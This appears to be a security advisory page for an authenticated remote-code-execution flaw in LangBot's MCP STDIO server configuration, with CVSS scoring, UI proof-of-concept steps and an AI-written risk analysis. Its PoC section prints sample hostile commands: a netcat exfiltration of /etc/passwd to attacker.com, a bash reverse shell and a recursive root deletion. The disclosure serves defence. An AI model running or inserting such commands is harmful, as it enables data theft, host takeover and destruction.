LangBot CVE-2026-54449
HIGH
GHSA-3pvh-63gf-j9mw
Severity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Network-reachable UI, low complexity, no user interaction; requires any authenticated account (PR:L), and arbitrary command execution yields full host compromise (C:H/I:H/A:H).
Primary rating from GitHub Advisory.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Lifecycle Timeline
3DescriptionGitHub Advisory
Summary
Any authenticated user can achieve arbitrary command execution on the LangBot servers through changing the MCP Server Configuration by added an "STDIO" MCP with an arbitrary command.
Details
The repository uses StdioServerParameters which is based on Anthropic's modelcontextprotocol open source, inside the code - src/langbot/pkg/provider/tools/loaders/mcp.py - StdioServerParameters is imported from mcp, which executes a given command which runs a subprocess on the target machine.
Since the LangBot services are authenticated, an attacker finding an open server needs to sign up or login via stolen credentials, then the attacker can use the MCP configuration to enter any arbitrary command, giving the ability to completely take over the machine.
PoC
- Open the LangBot server
- Navigate to Extensions
- Open the "MCP" tab and press "Add"
- Choose an STDIO server configuration
- Add any arbitrary command with arguments
<img width="480" height="538" alt="Screenshot 2026-01-19 at 15 08 43" src="https://github.com/user-attachments/assets/c341afa8-68c0-4c34-b5b6-ad8796184bdd" />
Note that an attacker could use this configuration to enter any arbitrary command, including data exfiltration (cat /etc/passwd | nc attacker.com 4444), opening a reverse shell (bash -i >& /dev/tcp/10.0.0.1/8080 0>&1), potentially removing the whole machine's data (rm -rf / --no-preserve-root), and many more.
Impact
This is an authenticated remote code execution vulnerability (RCE), affecting any publicly available LangBot instance, and local instances when in the same network as the attacker (Lateral Movement). CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
Video POC
https://github.com/user-attachments/assets/4868d232-7453-442c-bffd-60f0ad4679ea
Resources
https://www.ox.security/blog/the-mother-of-all-ai-supply-chains-critical-systemic-vulnerability-at-the-core-of-the-mcp/ https://www.ox.security/blog/mcp-supply-chain-advisory-rce-vulnerabilities-across-the-ai-ecosystem/
AnalysisAI
Authenticated remote code execution in LangBot (pip package 'langbot', versions <= 4.10.5) allows any logged-in user to run arbitrary OS commands on the host by registering a malicious 'STDIO' MCP server through the Extensions > MCP configuration UI. Because LangBot passes the user-supplied command straight to the MCP SDK's StdioServerParameters, which spawns it as a subprocess, an attacker who signs up or uses stolen credentials gains full host takeover. …
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Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires (1) network reachability to the LangBot web interface - either a public instance or an internal one on the attacker's network segment for lateral movement - and (2) an authenticated LangBot account of any privilege level (the attacker must sign up or use stolen/valid credentials; per PR:L no admin role is needed). … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The CVSS 3.1 vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H (base 8.8, High) accurately reflects the flaw: network-reachable, low complexity, no user interaction, and full confidentiality/integrity/availability impact, gated only by PR:L (authentication required). … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker discovers an internet-exposed LangBot instance, creates an account (or reuses stolen credentials), and browses to Extensions > MCP > Add. They add an STDIO MCP server whose command is a reverse shell (e.g. … |
| Remediation | No vendor-released patch identified at time of analysis - the advisory lists the fixed version as None, so upgrading is not yet an option and compensating controls are required. … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours, identify all systems running LangBot ≤4.10.5 and isolate or restrict their network access pending remediation. …
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Same weakness CWE-77 – Command Injection
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External POC / Exploit Code
Leaving vuln.today